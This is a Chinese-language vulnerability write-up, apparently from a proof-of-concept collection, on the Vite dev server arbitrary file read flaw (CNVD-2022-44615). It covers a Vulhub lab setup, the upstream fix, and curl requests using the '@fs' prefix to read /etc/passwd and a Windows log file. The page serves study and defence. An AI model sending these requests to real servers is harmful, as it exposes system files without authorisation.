Awesome-POC/开发框架漏洞/Vite 开发服务器任意文件读取漏洞 CNVD-2022-44615.md
2025-03-31 16:46:20 +08:00

47 lines
1.5 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Vite 开发服务器任意文件读取漏洞 CNVD-2022-44615
## 漏洞描述
Vite 是一个现代前端构建工具,为 Web 项目提供更快、更精简的开发体验。它主要由两部分组成具有热模块替换HMR功能的开发服务器以及使用 Rollup 打包代码的构建命令。
在 Vite 2.3.0 版本之前,可以通过 `@fs` 前缀读取文件系统上的任意文件。
参考链接:
- https://github.com/vitejs/vite/issues/2820
- https://github.com/vitejs/vite/pull/2850
## 漏洞影响
## 环境搭建
Vulhub 执行以下命令启动 Vite 2.1.5 开发服务器:
```shell
docker compose up -d
```
服务器启动后,可以通过访问 `http://your-ip:3000` 来访问 Vite 开发服务器。
> 注意:旧版本 Vite 的开发服务器默认端口为 3000新版本默认端口为 5173请注意区分。
## 漏洞复现
使用标准的 `@fs` 前缀访问指定路径,可以获取文件内容。例如,服务器为 Linux访问 `/etc/passwd`
```shell
curl "http://your-ip:3000/@fs/etc/passwd"
```
![](images/Vite%20开发服务器任意文件读取漏洞%20CNVD-2022-44615/image-20250331090332473.png)
如果服务器为 Windows访问 `C:\windows\debug\netsetup.log`
```shell
curl "http://localhost:3000/@fs/windows/debug/netsetup.log"
```
## 漏洞修复
修复 [#2820](https://github.com/vitejs/vite/issues/2820),新增选项 `serve.fsServeRoot`,将自动检测工作区根目录为 `fsServeRoot`,防止为整个文件系统提供服务。详见: https://github.com/vitejs/vite/pull/2850